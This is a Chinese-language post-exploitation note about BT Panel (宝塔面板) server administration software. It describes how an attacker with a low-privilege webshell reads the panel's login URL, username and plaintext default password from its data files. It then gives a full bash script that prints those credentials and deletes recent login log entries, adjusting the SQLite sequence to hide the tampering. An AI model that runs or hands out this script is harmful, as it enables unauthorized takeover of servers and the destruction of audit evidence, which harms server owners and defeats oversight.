宝塔面板
基础信息
如果发现一个网站是由宝塔面板搭建,并且获取了这个网站的shell,但是只有www权限,还有disable_functions阻拦使用命令函数,那么可以尝试获取宝塔的登录url、默认账号、默认密码,尝试进行登录。
windows7.9.0版本
我使用windows10搭建了宝塔面板(windows7.9.0版本),我们可以看到它的登录接口,默认账号,默认密码

但是它是以明文的方式存储在/BtSoft/panel/data/目录下的文件中
登录端口在port.pl文件中

登录接口在admin_path.pl文件中
默认账号在session文件夹下的文件中
默认密码在default.pl文件中
后续版本更新使default.pl文件中为*乱码
源码的登录逻辑代码userlogin.py中发现登录成功后会更新default.pl文件
Linux版本在7.9.5更新逻辑
windows8.2.0默认密码仍在default.pl
日志计数
登录成功或错误会记录日志

日志记录在/www/server/panel/data/default.db中

Script
读取接口url,获取用户名,密码,清除日志
linux
# 定义文件路径
port_file="/www/server/panel/data/port.pl"
admin_path_file="/www/server/panel/data/admin_path.pl"
password_file="/www/server/panel/default.pl"
root_dir="/www/server/panel/"
local_ip=$(hostname -I | awk '{print $1}')
if [[ -f "$port_file" ]]; then
panel_port=$(cat "$port_file")
else
echo "文件 $port_file 不存在,无法读取端口。"
exit 1
fi
if [[ -f "$admin_path_file" ]]; then
admin_path=$(cat "$admin_path_file")
else
echo "文件 $admin_path_file 不存在,无法读取接口。"
exit 1
fi
# 输出接口 URL
if [[ -n "$local_ip" && -n "$panel_port" && -n "$admin_path" ]]; then
echo "---------------------------------------"
echo "接口 URL:"
echo "$local_ip:$panel_port$admin_path"
echo "---------------------------------------"
else
echo "无法生成接口 URL,请检查配置文件。"
fi
# 输出username
if [[ -d "$root_dir" ]]; then
db_files=$(find "$root_dir" -type f -name "default.db")
if [[ -n "$db_files" ]]; then
while IFS= read -r db_file; do
table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='users';")
if [[ -n "$table_check" ]]; then
echo "---------------------------------------"
sqlite3 "$db_file" "SELECT username FROM users;" | while read -r username; do
echo "username:$username"
done
else
echo "表 'users' 不存在。"
fi
done <<< "$db_files"
else
echo "未找到 default.db 文件。"
fi
else
echo "目录 $root_dir 不存在。"
fi
# 检查密码文件
if [[ -f "$password_file" ]]; then
pwd=$(cat "$password_file") # 读取密码内容
echo "password:$pwd"
echo "---------------------------------------"
else
echo "文件 $password_file 不存在。"
fi
# 查询并提示用户删除logs表的数据
echo "---------------------------------------"
echo "查询 logs 表数据并删除:"
if [[ -d "$root_dir" ]]; then
db_files=$(find "$root_dir" -type f -name "default.db")
if [[ -n "$db_files" ]]; then
# 展示日志数据
for db_file in $db_files; do
table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='logs';")
if [[ -n "$table_check" ]]; then
echo "日志条数:"
log_count=$(sqlite3 "$db_file" "SELECT COUNT(*) FROM logs;")
echo "日志表当前共有 $log_count 条数据。"
if [[ "$log_count" -gt 0 ]]; then
# 展示 logs 表的最后 10 条记录
echo "---------------------------------------"
echo "logs 表的最后 10 条记录:"
sqlite3 "$db_file" "SELECT * FROM logs ORDER BY id DESC LIMIT 10;"
echo "---------------------------------------"
else
echo "日志表中没有数据。"
fi
else
echo "表 'logs' 不存在。"
fi
done
# 提示用户输入要删除的日志条数
echo "请输入要删除的日志条数(按 ID 从大到小删除,输入 0 取消):"
read -r delete_count
# 调试输出,检查用户输入的数据
echo "用户输入的删除条数:$delete_count"
# 处理用户输入的删除条数
if [[ -n "$delete_count" && "$delete_count" =~ ^[0-9]+$ ]] && [[ "$delete_count" -gt 0 ]]; then
for db_file in $db_files; do
# 获取要删除的记录的 ID(按 ID 从大到小)
ids_to_delete=$(sqlite3 "$db_file" "SELECT id FROM logs ORDER BY id DESC LIMIT $delete_count;")
# 删除日志表中这些 ID 的记录
for id in $ids_to_delete; do
sqlite3 "$db_file" "DELETE FROM logs WHERE id = $id;"
done
# 获取删除后的最后一个ID
last_id=$(sqlite3 "$db_file" "SELECT MAX(id) FROM logs;")
# 如果 last_id 为空,表示表中没有数据,重置为1
if [[ -z "$last_id" ]]; then
last_id=1
fi
# 更新sqlite_sequence表的logs自增ID,确保ID自增正常
sqlite3 "$db_file" "UPDATE sqlite_sequence SET seq = $last_id WHERE name = 'logs';"
echo "已删除日志记录并更新了sqlite_sequence表。"
done
else
echo "无效的输入或删除数量超出范围,删除操作已取消。请输入有效的数字,且在 1 到 $log_count 的范围内。"
fi
else
echo "未找到 default.db 文件。"
fi
else
echo "目录 $root_dir 不存在。"
fi
echo "---------------------------------------"





